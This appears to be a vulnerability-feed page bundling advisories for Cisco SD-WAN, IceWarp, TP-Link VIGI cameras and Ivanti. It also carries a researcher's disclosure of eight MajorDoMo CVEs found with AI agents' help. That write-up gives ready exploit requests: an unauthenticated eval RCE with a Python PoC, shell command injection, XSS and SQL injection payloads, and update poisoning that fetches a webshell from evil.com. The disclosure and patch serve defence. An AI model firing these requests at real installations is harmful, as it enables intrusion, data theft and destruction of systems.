Recent bundles

Cisco Catalyst SD-WAN Vulnerabilities

2026-02-25T16:34:22 by Alexandre Dulaunoy

JSON

Cisco Catalyst SD-WAN Vulnerabilities

These vulnerabilities are not dependent on one another. Exploitation of one of the vulnerabilities is not required to exploit another vulnerability.

Details about the vulnerabilities are as follows:

CVE-2026-20129: Cisco Catalyst SD-WAN Manager Authentication Bypass Vulnerability

A vulnerability in the API user authentication of Cisco Catalyst SD-WAN Manager could allow an unauthenticated, remote attacker to gain access to an affected system as a user who has the netadmin role.

The vulnerability is due to improper authentication for requests that are sent to the API. An attacker could exploit this vulnerability by sending a crafted request to the API of an affected system. A successful exploit could allow the attacker to execute commands with the privileges of the netadmin role.

Note: Cisco Catalyst SD-WAN Manager releases 20.18 and later are not affected by this vulnerability.

Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

Bug ID(s): CSCws33587
CVE ID: CVE-2026-20129
Security Impact Rating (SIR): Critical
CVSS Base Score: 9.8
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE-2026-20126: Cisco Catalyst SD-WAN Manager Privilege Escalation Vulnerability

A vulnerability in Cisco Catalyst SD-WAN Manager could allow an authenticated, local attacker with low privileges to gain root privileges on the underlying operating system.

This vulnerability is due to an insufficient user authentication mechanism in the REST API. An attacker could exploit this vulnerability by sending a request to the REST API of the affected system. A successful exploit could allow the attacker to gain root privileges on the underlying operating system.

Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

Bug ID(s): CSCws93470
CVE ID: CVE-2026-20126
Security Impact Rating (SIR): High
CVSS Base Score: 7.8
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE-2026-20133: Cisco Catalyst SD-WAN Manager Information Disclosure Vulnerability

A vulnerability in Cisco Catalyst SD-WAN Manager could allow an unauthenticated, remote attacker to view sensitive information on an affected system.

This vulnerability is due to insufficient file system access restrictions. An attacker could exploit this vulnerability by accessing the API of an affected system. A successful exploit could allow the attacker to read sensitive information on the underlying operating system.

Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

Bug ID(s): CSCws33583
CVE ID: CVE-2026-20133
Security Impact Rating (SIR): High
CVSS Base Score: 7.5
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE-2026-20122: Cisco Catalyst SD-WAN Manager Arbitrary File Overwrite Vulnerability

A vulnerability in the API of Cisco Catalyst SD-WAN Manager could allow an authenticated, remote attacker to overwrite arbitrary files on the local file system. To exploit this vulnerability, the attacker must have valid read-only credentials with API access on the affected system.

This vulnerability is due to improper file handling on the API interface of an affected system. An attacker could exploit this vulnerability by uploading a malicious file on the local file system. A successful exploit could allow the attacker to overwrite arbitrary files on the affected system and gain vmanage user privileges.

Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

Bug ID(s): CSCws33584, CSCws33586
CVE ID: CVE-2026-20122
Security Impact Rating (SIR): High
CVSS Base Score: 7.1
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

CVE-2026-20128: Cisco Catalyst SD-WAN Manager Information Disclosure Vulnerability

A vulnerability in the Data Collection Agent (DCA) feature of Cisco Catalyst SD-WAN Manager could allow an authenticated, local attacker to gain DCA user privileges on an affected system. To exploit this vulnerability, the attacker must have valid vmanage credentials on the affected system.

This vulnerability is due to the presence of a credential file for the DCA user on an affected system. An attacker could exploit this vulnerability by accessing the filesystem as a low-privileged user and reading the file that contains the DCA password from that affected system. A successful exploit could allow the attacker to access another affected system and gain DCA user privileges.

Note: Cisco Catalyst SD-WAN Manager releases 20.18 and later are not affected by this vulnerability.

Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

Bug ID(s): CSCws33585
CVE ID: CVE-2026-20128
Security Impact Rating (SIR): Medium
CVSS Base Score: 5.5
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

IceWarp14 X-File-Operation Command Injection Remote Code Execution Vulnerability

2026-02-23T07:15:42 by Alexandre Dulaunoy

JSON

ZDI-25-1072 | Zero Day Initiative

December 10th, 2025

IceWarp14 X-File-Operation Command Injection Remote Code Execution Vulnerability

ZDI-25-1072

ZDI-CAN-27394

CVE ID: CVSS SCORE
CVE-2025-14500 : 9.8, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID: AFFECTED VENDORS
CVE-2025-14500 : IceWarp
CVE ID: AFFECTED PRODUCTS
CVE-2025-14500 : IceWarp
CVE ID: VULNERABILITY DETAILS
CVE-2025-14500 : This vulnerability allows remote attackers to execute arbitrary code on affected installations of IceWarp. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of the X-File-Operation header. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of SYSTEM.
CVE ID: ADDITIONAL DETAILS
CVE-2025-14500 : IceWarp has issued an update to correct this vulnerability. More details can be found at: https://support.icewarp.com/hc/en-us/community/posts/40040980098705-EPOS-Update-2-build-9-14-2-0-9
CVE ID: DISCLOSURE TIMELINE
CVE-2025-14500 : 2025-09-26 - Vulnerability reported to vendor 2025-12-10 - Coordinated public release of advisory 2025-12-10 - Advisory Updated
CVE ID: CREDIT
CVE-2025-14500 : Oscar Bataille

BACK TO ADVISORIES

Related vulnerabilities: CVE-2025-14500

MajorDoMo Revisited: What I Missed in 2023

2026-02-19T10:21:03 by Alexandre Dulaunoy

JSON

MajorDoMo Revisited: What I Missed in 2023 - Chocapikk's Cybersecurity Blog

Context

In late 2023, I published CVE-2023-50917 - an unauthenticated RCE in MajorDoMo’s thumb module. It was my first CVE. I was proud of it, moved on, never looked back.

In February 2026, I pointed AI agents at the same codebase. Within minutes they flagged code paths I had walked right past. Eight bugs, all in the default install, all missed for over two years.

CVE-2026-27174: Console Eval RCE (Critical)

The admin panel has a PHP console - an intentional feature for authorized admins. The problem is an include order bug in modules/panel.class.php:

// panel.class.php:124-127 - redirect for unauth users... but no exit
if ($tmp['ID']) {
    redirect("/");
    // execution continues!
}

// panel.class.php:131-134 - ajax handler included WITHOUT checking $this-&gt;authorized
global $ajax_panel;
if ($ajax_panel) {
    include_once(DIR_MODULES . 'inc_panel_ajax.php');
}

The redirect("/") was meant to stop unauthenticated users, but without exit the code keeps running. Then inc_panel_ajax.php gets included unconditionally. Inside, the console handler reaches eval() directly:

// inc_panel_ajax.php:32-47 - the sink
if ($op == 'console') {
    global $command;  // ← from GET params via register_globals
    $code = explode('PHP_EOL', $command);

    foreach ($code as $value) {
        $value = trim($value);
        if (substr(mb_strtolower($value), 0, 4) == 'echo' || ...) {
            evalConsole(trim($value));     // calls eval($code)
        } else {
            evalConsole(trim($value), 1);  // calls eval('print_r(' . $code . ')')
        }
    }
}

$ajax_panel, $op, and $command all come from GET parameters via register_globals. No authentication check stands between the request and eval().

GET /admin.php?ajax_panel=1&amp;op=console&amp;command=echo+shell_exec('id');

uid=33(www-data) gid=33(www-data) groups=33(www-data)

The PoC is 7 lines of Python:

import requests, sys

target = sys.argv[1] if len(sys.argv) &gt; 1 else "http://127.0.0.1:8899"
r = requests.get(f"{target}/admin.php", params={
    "ajax_panel": "1", "op": "console",
    "command": "echo shell_exec('id');",
})
print(r.text.strip() or "[-] Not vulnerable")

CVE-2026-27175: Command Injection via Race Condition (Critical)

rc/index.php handles remote commands. The $param variable is injected into double quotes without escapeshellarg():

// rc/index.php:18-23 - source
if(!empty($command) &amp;&amp; file_exists('./rc/commands/'.$command.'.bat')) {
    $commandPath = DOC_ROOT.'/rc/commands/'.$_GET['command'].'.bat';
    if(!empty($param))
        $commandPath .= ' "'.$param.'"';  // ← shell metacharacters pass through
    safe_exec($commandPath);
}

The irony: safe_exec() is not safe at all. It just inserts the command string into the database:

// lib/common.class.php:751 - safe_exec() is just SQLInsert
function safe_exec($command, $exclusive = 0, $priority = 0, $on_complete = '') {
    $rec = array();
    $rec['COMMAND'] = $command;  // ← no sanitization
    $rec['ID'] = SQLInsert('safe_execs', $rec);
    return $rec['ID'];
}

Then cycle_execs.php picks it up and passes it to exec() with zero sanitization:

// scripts/cycle_execs.php:20-38 - the sink
SQLExec("DELETE FROM safe_execs");  // purge on startup

while (1) {
    if ($safe_execs = SQLSelectOne("SELECT * FROM safe_execs ORDER BY PRIORITY DESC, ID")) {
        $command = $safe_execs['COMMAND'];
        SQLExec("DELETE FROM safe_execs WHERE ID = '" . $safe_execs['ID'] . "'");
        exec($command);  // ← attacker-controlled string from the queue
    }
    sleep(1);
}

Default .bat files like shutdown.bat exist in every install, so file_exists() passes. But the interesting part is the trigger.

cycle_execs.php is web-accessible with no auth. On startup it purges the queue (DELETE FROM safe_execs), then enters a while(1) loop polling every second. So you can’t just inject then trigger - the purge kills your payload.

The trick is a race condition: start the worker first (it purges and enters the loop), then inject while it’s polling. Next iteration picks up and executes your payload.

GET /scripts/cycle_execs.php          &lt;- start worker (blocks, loops forever)
GET /rc/?command=shutdown&amp;param=$(id &gt; /tmp/pwned)   &lt;- inject during loop

Within 1 second, cycle_execs.php picks up the queued command and calls exec():

/var/www/html/rc/commands/shutdown.bat "$(id &gt; /tmp/pwned)"

$(id > /tmp/pwned) expands inside the double quotes. Full RCE, not blind.

CVE-2026-27176: Reflected XSS (Medium)

Classic missing htmlspecialchars() on $qry:

&lt;input type="text" name="qry" value="&lt;?php echo $qry;?&gt;" ...&gt;
echo "<p>Command: <b>" . $qry . "</b></p>";

GET /command.php?qry="&gt;<img src="x">

CVE-2026-27177: Stored XSS via Property Set (High)

The /objects/?op=set endpoint is intentionally unauthenticated - IoT devices use it. The handler is minimal:

// objects/index.php:131 - source, no auth
if ($op == 'set') {
    $obj-&gt;setProperty($p, $v);  // ← stored raw in DB
    echo "OK";
}

The sink is the admin panel’s property editor template, which renders values without escaping:



<p>Source → [#SOURCE#] → [#UPDATED#]</p>


&lt;textarea name="value[#ID#]"&gt;[#VALUE#]&lt;/textarea&gt;

The session cookie (prj=...) has no HttpOnly flag, making it stealable via JavaScript.

The attack chain: enumerate properties via /api.php/data/ThisComputer (returns everything, no auth), poison any property with JS, wait for the admin to open the properties page. The XSS fires from the SOURCE field on page load - no click needed.

GET /objects/?object=ThisComputer&amp;op=set&amp;p=testProp&amp;v=<img src="x">

Bonus: /objects/?op=get returns values with Content-Type: text/html, so navigating directly to the get endpoint also fires the payload in the browser.

This one came from re-examining the false positives. The AI had flagged /objects/?method= as “unauthenticated method execution” and I dismissed it - you can call methods but you can’t inject your own code, so it’s not RCE. The methods are stored PHP that gets eval()’d, but the attacker doesn’t control the code.

What I missed: some default methods pass attacker-controlled params directly into say(). For example, ThisComputer.VolumeLevelChanged:

// source - method code stored in DB, params from $_REQUEST
$volume=round(65535*$params['VALUE']/100);
say("Изменилась громкость до ".$params['VALUE']." процентов");

$params['VALUE'] comes from $_REQUEST. The say() function stores the message raw in the shouts table:

// lib/messages.class.php:140 - say() stores raw, no escaping
function say($ph, $level = 0, $member_id = 0, $source = '') {
    $rec = array();
    $rec['MESSAGE'] = $ph;  // ← raw HTML/JS stored in DB
    $rec['ID'] = SQLInsert('shouts', $rec);
}

The shoutbox widget renders the message without escaping in two places:

// shouts_search.inc.php:159 - PHP rendering sink
$txtdata .= "<b>" . $res[$i]['NAME'] . "</b>: " . nl2br($res[$i]['MESSAGE']) . "<br>";
// nl2br() converts newlines but does NOT escape HTML


[#MESSAGE#]

The dashboard widget auto-refreshes every 3 seconds - no click needed.

GET /objects/?method=ThisComputer.VolumeLevelChanged&amp;VALUE=<img src="x">

Payload stored in DB as Изменилась громкость до <img src="x"> процентов. Next time any admin loads the dashboard, XSS fires. Same cookie steal as Bug 4, different injection vector.

CVE-2026-27179: SQL Injection in Commands Module (High)

This one was hiding in plain sight. The commands module’s search file interpolates $_GET['parent'] directly into SQL:

$tmp = SQLSelectOne("SELECT ID FROM commands WHERE PARENT_ID='" . $_GET['parent'] . "'");

Four queries in the same block, all using the unsanitized value. The module is loadable without authentication via /objects/?module=commands - MajorDoMo’s object endpoint includes arbitrary modules by name and calls their usual() method.

Time-based blind SQLi confirms it cleanly:

GET /objects/?module=commands&amp;parent=' UNION SELECT SLEEP(3)-- -

Baseline response: 27ms. With SLEEP(3): 3.019s. With SLEEP(5): 5.022s. Precise to the millisecond.

The interesting detail: OR SLEEP(3) doesn’t work here the way you’d expect. The commands table has many rows, and MySQL evaluates SLEEP() per row, so OR SLEEP(3) with 30 rows means a 90-second delay that times out. UNION SELECT executes exactly once - that’s the right technique for multi-row tables.

From here it’s standard blind extraction - database names, table contents, credentials. MajorDoMo stores admin passwords as unsalted MD5 in the users table, so extraction leads directly to admin panel access.

CVE-2026-27180: Supply Chain RCE via Update Poisoning (Critical)

This one came from systematically checking which modules expose admin() through usual() without authentication. Fourteen modules do this. Most are harmless because the dangerous code paths check $this->mode or $this->view_mode, which only get set when getParams() is called - and getParams() is never called through the /objects/?module=X entry point.

But saverestore uses gr('mode') instead of $this->mode. gr() reads directly from $_REQUEST. Two handlers are reachable:

// saverestore.class.php - source, reachable without auth via /objects/?module=saverestore
if (gr('mode') == 'auto_update_settings') {
    $this-&gt;config['MASTER_UPDATE_URL'] = gr('set_update_url');  // ← attacker URL stored in DB
    $this-&gt;saveConfig();
}

if (gr('mode') == 'force_update') {
    $this-&gt;autoUpdateSystem();  // ← triggers the full chain below
}

autoUpdateSystem() fetches an Atom feed from the (now poisoned) URL, validates it trivially, then downloads and deploys the tarball:

// saverestore.class.php:1787-1835 - autoUpdateSystem() chain
$update_url = $this-&gt;getUpdateURL();  // ← reads poisoned URL from DB config
$github_feed_url = str_replace('/archive/', '/commits/', $update_url);
$github_feed_url = str_replace('.tar.gz', '.atom', $github_feed_url);
$github_feed = getURL($github_feed_url);  // ← fetches attacker's fake Atom feed

// "validation" - attacker controls the server, so this always passes
$items = XMLTreeToArray(GetXMLTree($github_feed))
['feed']['entry'];
$latest_tm = strtotime($items[0]['updated']['textvalue']);
if ($latest_tm &amp;&amp; (time() - $latest_tm) / 86400 &lt; $delay) return;  // needs &gt;1 day old

$res = $this-&gt;getLatest($out, 1);   // downloads tarball via curl
$res = $this-&gt;upload($out, 1);      // extracts and deploys

getLatest() downloads the tarball with no integrity check:

// saverestore.class.php:558-567 - getLatest() downloads with curl
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);           // ← attacker URL
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // ← no TLS verification
curl_setopt($ch, CURLOPT_FILE, $f);             // ← writes to cms/saverestore/master.tgz
curl_exec($ch);

upload() extracts the tarball and copies everything to the webroot:

// saverestore.class.php:1379,1454 - upload() sinks
exec('tar xzvf ../' . $file);  // ← extracts attacker's tarball

// then copies ALL extracted files to the document root
copyTree(DOC_ROOT . '/cms/saverestore/temp' . $folder, DOC_ROOT, 1);
// ← attacker's PHP files are now live in the webroot

The attack chain: poison the URL, serve a fake feed and a tarball containing a PHP webshell, trigger force_update. MajorDoMo downloads your tarball and deploys it to its own webroot. Full RCE, two GET requests from the attacker’s side.

GET /objects/?module=saverestore&amp;mode=auto_update_settings&amp;set_update_url=http://evil.com/archive/master.tar.gz
GET /objects/?module=saverestore&amp;mode=force_update

The PoC is a self-contained Python script that starts an HTTP server, serves both the atom feed and the malicious tarball, poisons the URL, triggers the update, and confirms the webshell was deployed. End to end in about 30 seconds.

CVE-2026-27181: Module Uninstall via Market (High)

Same root cause as Bug 7, different module. The market module’s admin() reads gr('mode') and assigns it to $this->mode at the start of the method:

// market.class.php:141-147 - source
$name = gr('name');   // ← from $_REQUEST
$mode = gr('mode');   // ← from $_REQUEST
if (!$this-&gt;mode &amp;&amp; $mode) {
    $this-&gt;mode = $mode;  // ← makes ALL mode checks reachable without auth
}

This makes every $this->mode check in the method reachable without auth. The most destructive one is mode=uninstall, which reaches uninstallPlugin():

// market.class.php:771-797 - the sink
function uninstallPlugin($name, $frame = 0) {
    SQLExec("DELETE FROM plugins WHERE MODULE_NAME LIKE '" . DBSafe($name) . "'");
    if (is_dir(ROOT . 'modules/' . $name)) {
        include_once(ROOT . 'modules/' . $name . '/' . $name . '.class.php');
        SQLExec("DELETE FROM project_modules WHERE NAME LIKE '" . DBSafe($name) . "'");

        eval('$plugin = new ' . $name . ';$plugin-&gt;uninstall();');  // calls module's uninstall()

        $this-&gt;removeTree(ROOT . 'modules/' . $name);    // ← deletes module files
        $this-&gt;removeTree(ROOT . 'templates/' . $name);  // ← deletes template files

        // also deletes cycle script
        $cycle_name = ROOT . 'scripts/cycle_' . $name . '.php';
        if (file_exists($cycle_name)) @unlink($cycle_name);
    }
}

One GET request per module, no authentication:

GET /objects/?module=market&amp;mode=uninstall&amp;name=dashboard

An attacker could iterate through all module names and wipe the entire installation.

The Trap: AI Slop is Real

Honest moment: the AI agents initially reported 12 vulnerabilities. I almost shipped that. Most of them were garbage - but not all.

My first approach was throwing multiple agents at the entire codebase in parallel. Broad sweep, maximum coverage. The result was a wall of noise. The agents flagged things like /api.php/method/, /objects/?op=set, X-Forwarded-For trust - all by design. MajorDoMo is a home automation platform. IoT sensors need unauthenticated endpoints on the local network. That’s not a bug, that’s the architecture.

Worse, the first PoC script I generated was cheating - it pre-seeded the database with a malicious script via Docker, then “exploited” it. That’s not a remote exploit, that’s a lie.

What actually worked was slowing down. Instead of spraying agents across the whole codebase, I focused on one module at a time, one code path at a time. I’d point the agent at a specific file, read its output, then manually verify the context before moving on. Is $this->mode set from getParams() or from gr()? Does usual() call admin() directly? Does the template parser actually run through this entry point? These questions matter, and the AI doesn’t ask them on its own.

The difference was night and day. The broad sweep gave me 12 findings, 4 of which were real. The focused approach - going back through the same codebase slowly, checking one module at a time - found the remaining 4. Bugs 7 and 8 both came from patiently tracing the gr('mode') vs $this->mode distinction across individual modules, not from some automated scan.

It also changed how I handled false positives. Ironically, the AI dismissed /objects/?op=set as “by design” and moved on - it took me asking “but can we XSS through it?” to find Bug 4. Bug 5 is another example: AI flagged “unauthenticated method execution” as a vuln, I dismissed it as by-design because you can’t inject code. Both were right. The real vuln was neither - it was the method params flowing unsanitized into say() then into the shoutbox template. AI couldn’t see that chain, and I almost didn’t bother looking twice.

And even on the real bugs, AI missed the interesting parts. Bug 2 was initially rated Medium - “blind async command injection, payload sits in a queue until the worker runs.” I asked one question: can we call cycle_execs.php from the web? Turns out yes, no auth, and you can race it - start the worker, inject while it polls, RCE in under a second. That bumped it from Medium to Critical.

The lesson: AI finds candidates. You validate them. If you skip the validation step you end up publishing AI slop dressed as security research, and that’s worse than finding nothing. But slow down. Go one file at a time. And go back to your false positives - sometimes the AI flagged the right file for the wrong reason.

Fix

PR: sergejey/majordomo#1177

Ten files changed:

modules/panel.class.php - add exit after redirect + auth check before ajax include
rc/index.php - escapeshellarg() + command name validation
command.php - htmlspecialchars() on $qry
templates/objects/objects_edit_properties.html - use VALUE_HTML and SOURCE_HTML instead of raw values
modules/objects/objects_edit.inc.php - add SOURCE_HTML with htmlspecialchars()
objects/index.php - Content-Type: text/plain on property get
modules/shoutbox/shouts_search.inc.php - htmlspecialchars() on MESSAGE and NAME before rendering
templates/shoutbox/shouts_search_admin.html - use MESSAGE_HTML instead of raw MESSAGE
modules/commands/commands_search.inc.php - (int) cast on parent parameter in all SQL queries
modules/saverestore/saverestore.class.php - gate force_update and auto_update_settings behind $this->action == 'admin'
modules/market/market.class.php - gate gr('mode') assignment behind $this->action == 'admin'

TP-Link Systems Inc. VIGI Series IP Camera

2026-02-05T20:47:03 by Alexandre Dulaunoy

JSON

Ref: TP-Link Systems Inc. VIGI Series IP Camera

TP-Link Systems Inc. VIGI Series IP Camera | CISA

View CSAF

Summary

Successful exploitation of this vulnerability could result in unauthorized users gaining administrative access to affected closed circuit television cameras.

The following versions of TP-Link Systems Inc. VIGI Series IP Camera are affected:

VIGI Cx45 Series Models C345, C445 <=3.1.0_Build_250820_Rel.57668n (CVE-2026-0629)
VIGI Cx55 Series Models C355, C455 <=3.1.0_Build_250820_Rel.58873n (CVE-2026-0629)
VIGI Cx85 Series Models C385, C485 <=3.0.2_Build_250630_Rel.71279n (CVE-2026-0629)
VIGI C340S Series <=3.1.0_Build_250625_Rel.65381n (CVE-2026-0629)
VIGI C540S Series Models C540S, EasyCam C540S <=3.1.0_Build_250625_Rel.66601n (CVE-2026-0629)
VIGI C540V Series <=2.1.0_Build_250702_Rel.54300n (CVE-2026-0629)
VIGI C250 Series <=2.1.0_Build_250702_Rel.54301n (CVE-2026-0629)
VIGI Cx50 Series Models C350, C450 <=2.1.0_Build_250702_Rel.54294n (CVE-2026-0629)
VIGI Cx20I (1.0) Series Models C220I 1.0, C320I 1.0, C420I 1.0 <=2.1.0_Build_251014_Rel.58331n (CVE-2026-0629)
VIGI Cx20I (1.20) Series Models C220I 1.20, C320I 1.20, C420I 1.20 <=2.1.0_Build_250701_Rel.44071n (CVE-2026-0629)
VIGI Cx30I (1.0) Series Models C230I 1.0, C330I 1.0, C430I 1.0 <=2.1.0_Build_250701_Rel.45506n (CVE-2026-0629)
VIGI Cx30I (1.20) Series Models C230I 1.20, C330I 1.20, C430I 1.20 <=2.1.0_Build_250701_Rel.44555n (CVE-2026-0629)
VIGI Cx30 (1.0) Series Models C230 1.0, C330 1.0, C430 1.0 <=2.1.0_Build_250701_Rel.46796n (CVE-2026-0629)
VIGI Cx30 (1.20) Series Models C230 1.20, C330 1.20, C430 1.20 <=2.1.0_Build_250701_Rel.46796n (CVE-2026-0629)
VIGI Cx40I (1.0) Series Models C240I 1.0, C340I 1.0, C440I 1.0 <=2.1.0_Build_250701_Rel.46003n (CVE-2026-0629)
VIGI Cx40I (1.20) Series Models C240I 1.20, C340I 1.20, C440I 1.20 <=2.1.0_Build_250701_Rel.45041n (CVE-2026-0629)
VIGI C230I Mini Series <=2.1.0_Build_250701_Rel.47570n (CVE-2026-0629)
VIGI C240 1.0 Series <=2.1.0_Build_250701_Rel.48425n (CVE-2026-0629)
VIGI C340 2.0 Series <=2.1.0_Build_250701_Rel.49304n (CVE-2026-0629)
VIGI C440 2.0 Series <=2.1.0_Build_250701_Rel.49778n (CVE-2026-0629)
VIGI C540 2.0 Series <=2.1.0_Build_250701_Rel.50397n (CVE-2026-0629)
VIGI C540‑4G Series <=2.2.0_Build_250826_Rel.56808n (CVE-2026-0629)
VIGI Cx40‑W Series Models C340‑W 2.0/2.20, C440‑W 2.0, C540‑W 2.0 <=2.1.1_Build_250717 (CVE-2026-0629)
VIGI Cx20 Series Models C320, C420 <=2.1.0_Build_250701_Rel.39597n (CVE-2026-0629)
VIGI InSight Sx45 Series Models S245, S345, S445 <=3.1.0_Build_250820_Rel.57668n (CVE-2026-0629)
VIGI InSight Sx55 Series Models S355, S455 <=3.1.0_Build_250820_Rel.58873n (CVE-2026-0629)
VIGI InSight Sx85 Series Models S285, S385 <=3.0.2_Build_250630_Rel.71279n (CVE-2026-0629)
VIGI InSight Sx45ZI Series Models S245ZI, S345ZI, S445ZI <=1.2.0_Build_250820_Rel.60930n (CVE-2026-0629)
VIGI InSight Sx85PI Series Models S385PI, S485PI <=1.2.0_Build_250827_Rel.66817n (CVE-2026-0629)
VIGI InSight S655I Series <=1.1.1_Build_250625_Rel.64224n (CVE-2026-0629)
VIGI InSight S345‑4G Series <=2.1.0_Build_250725_Rel.36867n (CVE-2026-0629)
VIGI InSight Sx25 Series Models S225, S325, S425 <=1.1.0_Build_250630_Rel.39597n (CVE-2026-0629)

CVSS	Vendor	Equipment	Vulnerabilities
v3 8.8	TP-Link Systems Inc.	TP-Link Systems Inc. VIGI Series IP Camera	Improper Authentication

Background

Critical Infrastructure Sectors: Commercial Facilities
Countries/Areas Deployed: Worldwide
Company Headquarters Location: China

Vulnerabilities

Expand All +

CVE-2026-0629

An authentication bypass in the password recovery feature of the local web interface across multiple VIGI camera models allows an attacker on the LAN to reset the admin password without verification by manipulating client-side state. Attackers can gain full administrative access to the device, compromising configuration and network security.

View CVE Details

Affected Products

TP-Link Systems Inc. VIGI Series IP Camera

Vendor:
TP-Link Systems Inc.

Product Version:
TP-Link Systems Inc. VIGI Cx45 Series Models C345, C445: <=3.1.0_Build_250820_Rel.57668n, TP-Link Systems Inc. VIGI Cx55 Series Models C355, C455: <=3.1.0_Build_250820_Rel.58873n, TP-Link Systems Inc. VIGI Cx85 Series Models C385, C485: <=3.0.2_Build_250630_Rel.71279n, TP-Link Systems Inc. VIGI C340S Series: <=3.1.0_Build_250625_Rel.65381n, TP-Link Systems Inc. VIGI C540S Series Models C540S, EasyCam C540S: <=3.1.0_Build_250625_Rel.66601n, TP-Link Systems Inc. VIGI C540V Series: <=2.1.0_Build_250702_Rel.54300n, TP-Link Systems Inc. VIGI C250 Series: <=2.1.0_Build_250702_Rel.54301n, TP-Link Systems Inc. VIGI Cx50 Series Models C350, C450: <=2.1.0_Build_250702_Rel.54294n, TP-Link Systems Inc. VIGI Cx20I (1.0) Series Models C220I 1.0, C320I 1.0, C420I 1.0: <=2.1.0_Build_251014_Rel.58331n, TP-Link Systems Inc. VIGI Cx20I (1.20) Series Models C220I 1.20, C320I 1.20, C420I 1.20: <=2.1.0_Build_250701_Rel.44071n, TP-Link Systems Inc. VIGI Cx30I (1.0) Series Models C230I 1.0, C330I 1.0, C430I 1.0: <=2.1.0_Build_250701_Rel.45506n, TP-Link Systems Inc. VIGI Cx30I (1.20) Series Models C230I 1.20, C330I 1.20, C430I 1.20: <=2.1.0_Build_250701_Rel.44555n, TP-Link Systems Inc. VIGI Cx30 (1.0) Series Models C230 1.0, C330 1.0, C430 1.0: <=2.1.0_Build_250701_Rel.46796n, TP-Link Systems Inc. VIGI Cx30 (1.20) Series Models C230 1.20, C330 1.20, C430 1.20: <=2.1.0_Build_250701_Rel.46796n, TP-Link Systems Inc. VIGI Cx40I (1.0) Series Models C240I 1.0, C340I 1.0, C440I 1.0: <=2.1.0_Build_250701_Rel.46003n, TP-Link Systems Inc. VIGI Cx40I (1.20) Series Models C240I 1.20, C340I 1.20, C440I 1.20: <=2.1.0_Build_250701_Rel.45041n, TP-Link Systems Inc. VIGI C230I Mini Series: <=2.1.0_Build_250701_Rel.47570n, TP-Link Systems Inc. VIGI C240 1.0 Series: <=2.1.0_Build_250701_Rel.48425n, TP-Link Systems Inc. VIGI C340 2.0 Series: <=2.1.0_Build_250701_Rel.49304n, TP-Link Systems Inc. VIGI C440 2.0 Series: <=2.1.0_Build_250701_Rel.49778n, TP-Link Systems Inc. VIGI C540 2.0 Series: <=2.1.0_Build_250701_Rel.50397n, TP-Link Systems Inc. VIGI C540‑4G Series: <=2.2.0_Build_250826_Rel.56808n, TP-Link Systems Inc. VIGI Cx40‑W Series Models C340‑W 2.0/2.20, C440‑W 2.0, C540‑W 2.0: <=2.1.1_Build_250717, TP-Link Systems Inc. VIGI Cx20 Series Models C320, C420: <=2.1.0_Build_250701_Rel.39597n, TP-Link Systems Inc. VIGI InSight Sx45 Series Models S245, S345, S445: <=3.1.0_Build_250820_Rel.57668n, TP-Link Systems Inc. VIGI InSight Sx55 Series Models S355, S455: <=3.1.0_Build_250820_Rel.58873n, TP-Link Systems Inc. VIGI InSight Sx85 Series Models S285, S385: <=3.0.2_Build_250630_Rel.71279n, TP-Link Systems Inc. VIGI InSight Sx45ZI Series Models S245ZI, S345ZI, S445ZI: <=1.2.0_Build_250820_Rel.60930n, TP-Link Systems Inc. VIGI InSight Sx85PI Series Models S385PI, S485PI: <=1.2.0_Build_250827_Rel.66817n, TP-Link Systems Inc. VIGI InSight S655I Series: <=1.1.1_Build_250625_Rel.64224n, TP-Link Systems Inc. VIGI InSight S345‑4G Series: <=2.1.0_Build_250725_Rel.36867n, TP-Link Systems Inc. VIGI InSight Sx25 Series Models S225, S325, S425: <=1.1.0_Build_250630_Rel.39597n

Product Status:
known_affected

Relevant CWE: CWE-287 Improper Authentication

Metrics

Acknowledgments

Arko Dhar of Redinent Innovations reported this vulnerability to CISA

Legal Notice and Terms of Use

This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices

CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability, such as:

Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the Internet.

Locate control system networks and remote devices behind firewalls and isolating them from business networks.

When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time. This vulnerability is not exploitable remotely.

Revision History

Initial Release Date: 2026-02-05

Date	Revision	Summary
2026-02-05	1	Initial Publication

Legal Notice and Terms of Use

Related vulnerabilities: CVE-2026-0629

Ivanti EPMM - CVE-2026-1281 & CVE-2026-1340

2026-01-30T16:23:13 by Paul Jung

JSON

Security Advisory Ivanti Endpoint Manager Mobile (EPMM) (CVE-2026-1281 & CVE-2026-1340)

